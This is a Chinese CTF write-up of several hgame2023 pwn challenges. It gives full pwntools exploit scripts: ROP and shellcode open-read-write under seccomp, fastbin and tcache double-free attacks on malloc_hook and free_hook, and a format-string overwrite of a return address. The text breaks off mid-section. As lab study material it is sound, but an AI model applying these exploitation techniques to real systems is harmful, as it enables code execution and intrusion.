hgame2023

文章发布时间:

最后更新时间:

文章总字数:
7.4k

预计阅读时间:
36 分钟

orw

以前没做过构造rop链的orw 记录一下

1
2
3
4
5
6
7
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/chen/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

保护没啥值得留意的 直接ida打开看一下main函数

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
sandbox();
puts("Maybe you can learn something about seccomp, before you try to solve this task.");
vuln();
return 0;
}

开了沙盒 不出意外应该是禁用了execve 而system(“/bin/sh”)也是基于execve实现的 所以这里没有办法像以往一样简单的获取shell

seccomp-tools dump ./vuln

查看一下是否如同猜想的一样

当调用的函数为execve时进入0004 也就是return kill 禁止调用

那么跟进一下vuln函数

1
2
3
4
5
6
ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

return read(0, buf, 0x130uLL);
}

可以进行一次栈溢出 但是溢出的字节数只有0x28(还有8字节要给ebp)

显然这点溢出长度只够我们泄露libc基址 但是由于被禁用了execve system和onegadget都用不了了

但是如果想用orw的话 很明显 read和open需要的溢出长度远超过0x28

溢出长度不够的情况一般两种解决办法 自己构造一次read 修改rdx的值 使得溢出长度足够 或者是构造一次read 往bss段写入rop链 随后栈迁移

但是总归都是要自己调用read 并且我们还需要pop rsi pop rdx的指令地址 但是由于大部分的题目是动态链接 很难找到单独的rsi和rdx 本题也是没有的 这个时候你要想起来 题目所给的libc文件也是可以用ROPgadget查找指令地址的 只不过使用其指令还需要我们泄露libc基址

那么初步的思路确定了 就可以开始第一步 先泄露基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./vuln")
#io = process("./vuln")
libc = ELF("./libc-2.31.so")
io = remote("week-1.hgame.lwsec.cn",31773)
rdi_addr = 0x401393
rsi_r15_addr = 0x401391
puts_got = elf.got['puts']
puts_plt = 0x401070
main_addr = 0x4012f0
read_plt = 0x401080
ret_addr = 0x40101a
bss_addr = 0x404090+0x50
io.recvuntil("Maybe you can learn something about seccomp, before you try to solve this task.")
payload = cyclic(0x108)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))

接下来是构造read read函数需要三个参数 rdi 控制第一个参数文件描述符 rsi控制写入地址 rdx控制写入字节数

但是很明显0x28的溢出长度是不够我们构造如此多的参数 那么我们可以gdb动调看一下 如果我们不对这三个寄存器动任何手脚 其分别值为多少

rdi满足条件 rdx为0x130 如果我们往bss段写入rop链的话 rdx也不用修改 那么只需要修改rsi就可以了

ROPgadget获取libc文件的pop rsi偏移 再加上libc基址获得pop rsi指令的地址

1
2
3
io.recvuntil("Maybe you can learn something about seccomp, before you try to solve this task.")
payload = cyclic(0x108)+p64(rsi_addr)+p64(bss_addr)+p64(read_addr)+p64(main_addr)
io.sendline(payload)

这里注意一下bss_addr 要和bss段的起始位置间隔一段距离 因为bss段比较靠近got表 可能会导致栈空间延申到got表 导致read失败 也是老生常谈的问题了

那么接下里的难点就是构造rop链了 下面每行各自对应open write puts 应该是浅显易懂的

1
2
3
payload = b'./flag'.ljust(8,b'\x00')+p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr)+p64(0)+p64(open_addr)
payload += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(bss_addr+0x100)+p64(rdx_addr)+p64(0x30)+p64(read_addr)
payload += p64(rdi_addr)+p64(bss_addr+0x100)+p64(puts_addr)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import*
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./vuln")
io = process("./vuln")
libc = ELF("./libc-2.31.so")
#io = remote("week-1.hgame.lwsec.cn",31773)
rdi_addr = 0x401393
rsi_r15_addr = 0x401391
puts_got = elf.got['puts']
puts_plt = 0x401070
main_addr = 0x4012f0
read_plt = 0x401080
ret_addr = 0x40101a
bss_addr = 0x404090+0x50
io.recvuntil("Maybe you can learn something about seccomp, before you try to solve this task.")
payload = cyclic(0x108)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_addr = puts_addr-libc.sym['puts']
read_addr = libc_addr + libc.sym['read']
rsi_addr = libc_addr + 0x2601f
rdx_addr = libc_addr + 0x142c92
puts_addr = libc_addr + libc.sym['puts']
io.recvuntil("Maybe you can learn something about seccomp, before you try to solve this task.")
payload = cyclic(0x108)+p64(rsi_addr)+p64(bss_addr)+p64(read_addr)+p64(main_addr)
io.sendline(payload)
open_addr = libc_addr + libc.sym['open']
write_addr = libc_addr + libc.sym['write']
payload = b'./flag'.ljust(8,b'\x00')+p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr)+p64(0)+p64(open_addr)
payload += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(bss_addr+0x100)+p64(rdx_addr)+p64(0x30)+p64(read_addr)
payload += p64(rdi_addr)+p64(bss_addr+0x100)+p64(puts_addr)
io.sendline(payload)
leave_addr = 0x4012be
io.recvuntil("Maybe you can learn something about seccomp, before you try to solve this task.")
payload = cyclic(0x100)+p64(bss_addr)+p64(leave_addr)
io.sendline(payload)
io.recv()
io.recv()

simple_shellcode

1
2
3
4
5
6
7
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/chen/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开 ida看一下main函数

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL);
puts("Please input your shellcode:");
read(0, (void *)0xCAFE0000LL, 0x10uLL);
sandbox();
MEMORY[0xCAFE0000]();
return 0;
}

mmap将0xcafe0000~0xcafe1000这块区域的权限设置为了可读可写可执行 并且程序的最后还调用了这块区域

明摆着是将shellcode写入到这块区域 同时给了一次写入的机会 但是只有10字节

但是这次又有sandbox函数 看一下是禁用了哪些函数

还是通过orw来读取flag吧 但是这次是采用shellcode的方式 首当其冲要解决的问题就是写入字节不够的问题

这0x10字节的长度虽然不够我们写orw 但是可以供我们调用read函数

但是如果我们想要全部参数都修改一次 也是会超出16字节的 所以还是和上题一样 动态调试看一下传完shellcode后各寄存器的默认值

我们只需要修改rsi rdi即可 rax为read的系统调用号0 不需要修改

1
2
3
4
5
6
shellcode = '''
mov esi ,0xcafe0500
xor edi ,edi
syscall
jmp rsi
'''

这里注意一下地址 和bss段同理 栈有可能会溢出到其他不可执行的区域 所以需要抬高一点栈帧空间

随后就是orw的汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
shellcode = f"""
push 0x67616c66
push (2)
pop rax
mov rdi, rsp
xor esi, esi
cdq
syscall
mov r10d, 0x7fffffff
mov rsi, rax
push (40)
pop rax
push 1
pop rdi
cdq
syscall
"""

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./vuln")
#io = process("./vuln")
libc = ELF("./libc-2.31.so")
io = remote("week-1.hgame.lwsec.cn",31897)
shellcode = '''
mov esi ,0xcafe0500
xor edi ,edi
syscall
jmp rsi
'''
io.sendline(asm(shellcode))
shellcode = f"""
push 0x67616c66
push (2)
pop rax
mov rdi, rsp
xor esi, esi
cdq
syscall
mov r10d, 0x7fffffff
mov rsi, rax
push (40)
pop rax
push 1
pop rdi
cdq
syscall
"""
io.sendline(asm(shellcode))
io.recv()
io.recv()

fast_note

一道很常规的double free题 不过在最后修改malloc_hook的时候有点特殊 也算有学到新知识

这题是libc 2.23版本

1
2
3
4
5
6
7
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/chen/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
delete_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
show_note("%d", &v3);
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Wrong choice!");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}

没有edit函数 add函数的content输入没有堆溢出的机会 看一看delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 delete_note()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v1);
if ( v1 <= 0xF )
{
if ( (&notes)[v1] )
free((&notes)[v1]);
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v2;
}

堆块释放以后 没有对存放堆块的指针置零 存在UAF漏洞 再加上有show函数 那么泄露libc基址我们可以很轻松的通过unsortedbin来做到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import*
#io = process("./vuln")
libc = ELF("./libc-2.23.so")
elf = ELF("./vuln")
context.log_level = "debug"
context.arch = "amd64"
io = remote("week-2.hgame.lwsec.cn",31198)

def add(index,size,content):
io.recvuntil(">")
io.sendline(b"1")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.sendline(content)

def delete(index):
io.recvuntil(">")
io.sendline(b"2")
io.recvuntil("Index: ")
io.sendline(str(index))

def show(index):
io.recvuntil(">")
io.sendline(b"3")
io.recvuntil("Index: ")
io.sendline(str(index))

add(0,0x80,b'aaaa')
add(1,0x60,b'aaaa')
add(2,0x60,b'aaaa')
delete(0)
show(0)
main_arena = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_addr = main_arena - 88 - 0x3C4B20

应该是很好理解 fastbin的范围只有0x20~0x80 那么我们释放一个0x80大小的chunk就会被放入unsortedbin 这时候其fd和bk域就会指向main_arena_addr 而delete函数没有对这个chunk的指针置零 导致这个我们仍然可以使用这个指针对chunk进行操作

还有一点就是libc基址的计算办法 88这个gdb动调可以很明显的看出来 那这个0x3c4b20呢 以往我们用的是gdb动调看libc基址和当此程序运行时泄露的main_arean的偏移 但是有的时候题目远程靶机和本地的libc版本不一样 这个时候如果你不会用patchelf修改libc的话 可以通过ida打开题目所对应的libc文件

寻找malloc_trim函数

对应的这个dword_1ecb80的偏移就是main_arean相较于libc基址的偏移

接下来的任务是想办法获取shell 2.23的题目直接打malloc_hook就好了 如果没有开启FULL RELRO 的话还可以通过覆写got表来实现shell

这里我们采用打got表 用的是double free的办法

1
2
3
4
5
6
7
8
9
10
malloc_hook = libc_addr + libc.sym['__malloc_hook']
delete(1)
delete(2)
delete(1)
add(3,0x60,p64(malloc_hook-0x23))
add(4,0x60,b'aaaa')
add(5,0x60,b'aaaa')
one_gadget = libc_addr + 0xf03a4
payload = cyclic(0x13)+p64(one_gadget)
add(6,0x60,payload)

但是不管我们如果更换one_gadget的偏移 就是打不通 哪怕gdb动调已经可以看到malloc_hook已经被写入one_gadget了

这是因为one_gadget的调用条件不满足

那么常规的利用malloc函数触发malloc_hook肯定是不行的了 询问了其他师傅才知道 double free也能触发malloc_hook 为此也是十分好奇 去翻了翻double free的源码

1
2
3
4
5
6
7
8
9
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}

当glibc检测到double free行为发生后 会调用malloc_printerr用来打印错误日志 但是基于本人水平也就只能朔源到这里了 以下均是猜想

因为malloc_printerr是在malloc.c中定义的 所以调用malloc_printerr就会和malloc函数一样先对malloc_hook的内容进行if判断 如果不为0则执行

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import*
#io = process("./vuln")
libc = ELF("./libc-2.23.so")
elf = ELF("./vuln")
context.log_level = "debug"
context.arch = "amd64"
io = remote("week-2.hgame.lwsec.cn",31198)

def add(index,size,content):
io.recvuntil(">")
io.sendline(b"1")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.sendline(content)

def delete(index):
io.recvuntil(">")
io.sendline(b"2")
io.recvuntil("Index: ")
io.sendline(str(index))

def show(index):
io.recvuntil(">")
io.sendline(b"3")
io.recvuntil("Index: ")
io.sendline(str(index))

add(0,0x80,b'aaaa')
add(1,0x60,b'aaaa')
add(2,0x60,b'aaaa')
delete(0)
show(0)
main_arena = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_addr = main_arena - 88 - 0x3C4B20
malloc_hook = libc_addr + libc.sym['__malloc_hook']
delete(1)
delete(2)
delete(1)
add(3,0x60,p64(malloc_hook-0x23))
add(4,0x60,b'aaaa')
add(5,0x60,b'aaaa')
one_gadget = libc_addr + 0xf03a4
payload = cyclic(0x13)+p64(one_gadget)
add(6,0x60,payload)
delete(3)
delete(3)
io.interactive()

new_fast_note

这题的主体结构和上题一致 不过版本从2.23到了2.31 这给我们的unsortedbin泄露机制和double free都制造了困难

由于多出了tcachebin 所以我们想要让一个chunk进入unsortedbin 要么就申请超出tcachebin范围 即0x400以上大小的chunk

或者填满tcachebin的一个链表 然后再次释放 如果超出fastbin的范围就会被放入unsortedbin 这里采取第二种办法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./vuln")
#io = process("./vuln")
libc = ELF("./libc-2.31.so")
io = remote("week-2.hgame.lwsec.cn",32435)

def add(index,size,content):
io.recvuntil(">")
io.sendline(b"1")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.sendline(content)

def delete(index):
io.recvuntil(">")
io.sendline(b"2")
io.recvuntil("Index: ")
io.sendline(str(index))

def show(index):
io.recvuntil(">")
io.sendline(b"3")
io.recvuntil("Index: ")
io.sendline(str(index))

for i in range(0,8):
add(i,0x80,b'aaaa')

for i in range(0,7):
delete(i)

delete(7)
show(7)
main_arena = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_addr = main_arena-96-0x1ECB80

接下来我们的思路要放在如何篡改free_hook来获取shell

没有edit函数的情况下 又有UAF 我们很容易想到的是利用double free来做到任意地址写

但是2.31的版本 glibc对于double free的检查机制更加严格了

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next; //链表指针,对应chunk中的fd字段
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; //指向所属的tcache结构体,对应chunk中的bk字段
} tcache_entry;

对于每一个tcache都有一个key指针指向

借助这个key指针 plmalloc可以更好的对double free进行检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
size_t tc_idx = csize2tidx(size);//只要tcache不为空 并且free chunk在tcache范围中 都需要进行double free检查
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *)chunk2mem(p);

/*
如果是这个chunk已经被放入tcache 那么key字段就已经有数据了 会被识别出来
*/
if (__glibc_unlikely(e->key == tcache))//汇报错误信息
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}

if (tcache->counts[tc_idx] < mp_.tcache_count) //通过检查,放入tcahce中
{
tcache_put(p, tc_idx);
return;
}
}

所以 如果我们还想要使用tcache double free的话 就只能修改key字段 或者是fastbin double free

但是由于fastbin对于chunk的取出有着size域的检查 相对来说不好办 但是在2.27.9版本以后 tcache新增了stash机制

要想明白这个机制的用处 我们先要清楚tcachebin的设计目的是什么

在多线程的情况下 plmalloc会遇到主分配区被抢占的问题 只能等待或者是申请一个非主分配区

针对这种情况 plmalloc为每个线程都涉及一个缓冲区 即tcache

而stash机制就是 如果用户申请一个0x60大小的chunk tcache里面没有的话 就会进入分配区处理

如果在fastbin中找到可以被申请的0x60chunk 系统就会认为将来还需要0x60大小的chunk 就会将fastbin中相同大小的chunk全部放入tcachebin中

因此我们利用这个手法就可以实现 在fastbin中实现double free 而在tcache中进行任意地址chunk的申请

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import*
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./vuln")
#io = process("./vuln")
libc = ELF("./libc-2.31.so")
io = remote("week-2.hgame.lwsec.cn",32435)

def add(index,size,content):
io.recvuntil(">")
io.sendline(b"1")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.sendline(content)

def delete(index):
io.recvuntil(">")
io.sendline(b"2")
io.recvuntil("Index: ")
io.sendline(str(index))

def show(index):
io.recvuntil(">")
io.sendline(b"3")
io.recvuntil("Index: ")
io.sendline(str(index))

for i in range(0,8):
add(i,0x80,b'aaaa') //chunk0-chunk6用来填满tcache chunk7用来泄露基址

for i in range(0,7):
delete(i)

for i in range(0,7):
add(i,0x30,b'aaaa') //填满tcache 从而使chunk8和chunk9可以被放入fastbin 之所以index和前面的垃圾chunk一样 是因为
//程序对于delete函数进行了限制 只能释放index<=0xf的chunk
for i in range(8,11):
add(i,0x30,b'aaaa')

for i in range(0,7):
delete(i)

delete(7)
show(7)
main_arena = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_addr = main_arena-96-0x1ECB80
free_hook = libc_addr + libc.sym['__free_hook']
system_addr = libc_addr + libc.sym['system']
delete(8)
delete(9)
delete(8)
for i in range(0,7):
add(i,0x30,b'aaaa') //将原本的tcache 0x40的链表全部的chunk申请 使其为空 触发stash机制

add(8,0x30,p64(free_hook))
add(9,0x30,b'aaaa')
add(11,0x30,b'aaaa')
one_gadget = libc_addr + 0xe3b01
add(12,0x30,p64(system_addr))
add(13,0x10,b'/bin/sh')
delete(13)
io.interactive()

YukkuriSay

非栈上格式化字符串漏洞题

checksec 查看一下保护机制发现还有canary机制

1
2
3
4
5
6
7
8
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: '/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/'

由于本人没有安装libc2.31以上版本的ubuntu 所以本地和远程的环境不一样

这里采用xclibc脚本更换二进制文件所依赖的libc

GitHub - ef4tless/xclibc: A tool to change the libc environment of running files(一个在CTF比赛中用于切换题目运行libc环境的工具)

1
xclibc -x pwn libc-2.31.so

再来看一下ida反编译出来的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 vuln()
{
int v1; // [rsp+8h] [rbp-118h]
char s1[4]; // [rsp+Ch] [rbp-114h] BYREF
char buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("What would you like to let Yukkri say?");
do
{
v1 = read(0, buf, 0x100uLL);
if ( buf[v1 - 1] == 10 )
buf[v1 - 1] = 0;
print_str(buf);
puts("anything else?(Y/n)");
__isoc99_scanf("%2s", s1);
}
while ( strcmp(s1, "n") && strcmp(s1, "N") );
puts("Yukkri prepared a gift for you: ");
read(0, str, 0x100uLL);
printf(str);
return __readfsqword(0x28u) ^ v4;
}

跟进一下print_str函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int __fastcall print_str(const char *a1)
{
int n; // [rsp+1Ch] [rbp-24h]
int ii; // [rsp+20h] [rbp-20h]
int l; // [rsp+24h] [rbp-1Ch]
int m; // [rsp+28h] [rbp-18h]
int i; // [rsp+2Ch] [rbp-14h]
int k; // [rsp+30h] [rbp-10h]
int v8; // [rsp+34h] [rbp-Ch]
const char *j; // [rsp+38h] [rbp-8h]

v8 = strlen(a1);
if ( v8 > 20 )
{
if ( v8 > 50 )
{
printf("%*s", 51, (const char *)&unk_402008);
for ( i = 0; i <= 51; ++i )
putchar(95);
printf("\n%*s/ %*s \\\n", 50, (const char *)&unk_402008, 50, (const char *)&unk_402008);
for ( j = a1; j < &a1[v8]; j += 50 )
printf("%*s| %-50.50s |\n", 50, (const char *)&unk_402008, j);
printf("%*s\\___ ", 50, (const char *)&unk_402008);
for ( k = 0; k <= 46; ++k )
putchar(95);
}
else
{
printf("%*s", 51, (const char *)&unk_402008);
for ( l = 0; l <= v8 + 1; ++l )
putchar(95);
printf("\n%*s/ %*s \\\n", 50, (const char *)&unk_402008, v8, (const char *)&unk_402008);
printf("%*s| %s |\n", 50, (const char *)&unk_402008, a1);
printf("%*s\\___ ", 50, (const char *)&unk_402008);
for ( m = 0; m < v8 - 3; ++m )
putchar(95);
}
}
else
{
printf("%*s", 51, (const char *)&unk_402008);
for ( n = 0; n <= 21; ++n )
putchar(95);
printf("\n%*s/ %*s \\\n", 50, (const char *)&unk_402008, 20, (const char *)&unk_402008);
printf(
"%*s| %*s%s%*s |\n",
50,
(const char *)&unk_402008,
(20 - v8) / 2 + v8 % 2,
(const char *)&unk_402008,
a1,
(20 - v8) / 2,
(const char *)&unk_402008);
printf("%*s\\___ ", 50, (const char *)&unk_402008);
for ( ii = 0; ii <= 16; ++ii )
putchar(95);
}
puts("/");
printf("%*s|/\n", 54, (const char *)&unk_402008);
return printf("%s", yukkuri);
}

直接看不好看懂 直接运行一下脚本 发现是一个图形

分析一下题目给我们的机会 首先是可以无限循环对栈上数据0x100字节大小的修改 并且还可以泄露栈上的数据

然后还有一次非栈上格式化字符串漏洞的机会

这题要想获取shell 只能通过覆盖ret addr 但是由于开启了canary 常规的栈溢出行不通 write泄露的栈内容长度又够不到canary

那么只能想办法通过非栈上格式化字符串漏洞来任意写到栈上的ret addr 使其为onegadget 这样就可以成功获取shell

那么我们就需要泄露栈地址和libc基址

gdb动调看一下

当我们输入的payload大于0x50字节的时候 断点打在0x4014EF处 我们发现payload= cyclic(0x100)时

可以泄露出栈上的地址 当我们输入的payload = cyclic(0x98)时 可以泄露出stderr的真实地址

我们成功获得了栈地址和libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.log_level = "debug"

def splitaddr(target_addr):
addr = []
curr = 0
for _ in range(4):
num = target_addr % 65536
tmp = (num - curr + 65536) % 65536
addr.append(tmp)
curr = (curr + tmp) % 65536
target_addr = target_addr >> 16
return addr

io = process("./pwn")
elf = ELF("./pwn")
libc =ELF("./libc-2.31.so")
io.recvuntil("What would you like to let Yukkri say?")
payload = cyclic(0x98)
io.send(payload)
addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_addr = addr - libc.sym['_IO_2_1_stderr_']
success(hex(libc_addr))
io.sendlineafter("anything else?(Y/n)",b'Y')
payload = cyclic(0x100)
io.send(payload)
stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x8
success(hex(stack_addr))
io.sendlineafter("anything else?(Y/n)",b'Y')

首先由于非栈上格式化字符串并没有办法直接对栈数据更改 所以我们还需要先修改栈上的数据

1
2
3
4
5
6
payload = p64(stack_addr)
payload += p64(stack_addr+2)
payload += p64(stack_addr+4)
payload += p64(stack_addr+6)
io.send(payload)
io.sendlineafter("anything else?(Y/n)",b'n')

非栈上格式化字符串会在栈专题中讲 所以这里就不解释为什么这么写了

最后的关键在于说ret addr的地址是在哪里 我们上面动调也可以看到 是位于stack_addr-0x8处 所以这里任意写其内容为onegadget

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.log_level = "debug"

def splitaddr(target_addr):
addr = []
curr = 0
for _ in range(4):
num = target_addr % 65536
tmp = (num - curr + 65536) % 65536
addr.append(tmp)
curr = (curr + tmp) % 65536
target_addr = target_addr >> 16
return addr

io = process("./pwn")
elf = ELF("./pwn")
libc =ELF("./libc-2.31.so")
io.recvuntil("What would you like to let Yukkri say?")
payload = cyclic(0x98)
io.send(payload)
addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_addr = addr - libc.sym['_IO_2_1_stderr_']
success(hex(libc_addr))
io.sendlineafter("anything else?(Y/n)",b'Y')
payload = cyclic(0x100)
io.send(payload)
stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x8
success(hex(stack_addr))
io.sendlineafter("anything else?(Y/n)",b'Y')
payload = p64(stack_addr)
payload += p64(stack_addr+2)
payload += p64(stack_addr+4)
payload += p64(stack_addr+6)
io.send(payload)
io.sendlineafter("anything else?(Y/n)",b'n')
onegadget_addr = 0xe3b01+libc_addr
addr = splitaddr(onegadget_addr)
payload = b"%" + str(addr[0]).encode() + b"lx%8$hn"
payload += b"%" + str(addr[1]).encode() + b"lx%9$hn"
payload += b"%" + str(addr[2]).encode() + b"lx%10$hn"
payload += b"%" + str(addr[3]).encode() + b"lx%11$hn"
io.send(payload+b'\x00')
io.interactive()

note_context

这题是赛后复现的 学到挺多东西 顺便巩固了setcontext的利用

image-20230320191900517

保护全开 环境是2.32

并且开启了沙盒

image-20230320192512541

经典菜单题 伪代码这里就不放了 一共给了四个函数

add函数可以申请chunk 大小限制在0x500-0x900

delete函数没有置零堆块指针 存在UAF

show函数可以打印堆块内容

edit函数不存在堆溢出 根据最开始申请chunk时输入的size

由于对申请chunk的限制 一开始我们能考虑的只有unsortedbin attack 和 largebin attack

但是前者相对鸡肋 需要我们对任意申请地址已经有edit能力 后者也只能做到任意地址写堆地址

house of storm需要最后申请的chunk大小符合0x50链表 所以也没有办法

那么我们需要另寻出路 覆盖mp_.tcache_bins来使得size较大的chunk也能被释放到tcachebin中 从而可以打tcachebin attack 任意地址写

这里采用largebin attack任意写的那一套

我们先泄露基址 注意一下末尾00 需要覆盖一下 否则puts无法泄露

1
2
3
4
5
6
7
8
9
10
11
add(0,0x800)
add(1,0x900)
add(2,0x7f0)
delete(0)
edit(0,b'\x01')
show(0)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1-96
libc_addr = main_arena_addr - (libc.sym['__malloc_hook']+0x10)
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook']
edit(0,b'\x00')

顺便把chunk0释放到largebin后 泄露一下堆地址 因为这个版本已经有了fd异或保护机制

1
2
3
4
5
add(3,0x900)
edit(0,cyclic(0x10))
show(0)
heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0x290
success("heap_addr :"+hex(heap_addr))
1
2
3
4
5
6
mp_tcache_bins = libc_addr + 0x1e32d0
success("mp_tcache_bins :"+hex(mp_tcache_bins))
payload = p64(0)+p64(mp_tcache_bins-0x10)+p64(0)+p64(mp_tcache_bins-0x20)
edit(0,payload)
delete(2)
add(4,0x900)

然后就是largebin attack的部分 此时mp_tcache_bins处已经被写入一个很大的值 小于这个值的都会被释放进tcachebin

image-20230320195049984

1
2
3
4
5
6
7
8
9
10
add(5,0x900)
add(6,0x900)
add(7,0x900)
delete(5)
delete(6)
key = ( heap_addr + 0x3000 ) >>12
success("key :"+hex(key))
edit(6,p64(key^(free_hook)))
add(8,0x900)
add(9,0x900)

接下来利用tcache 申请到free_hook的空间

接下来就是重头戏了 由于开启了沙盒 所以我们只能用orw来泄露flag

2.29以前 setcontext是通过rdi寄存器来寻址 相对来说很好控制 但是2.32是由rdx来寻址 我们需要想办法控制rdx寄存器的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
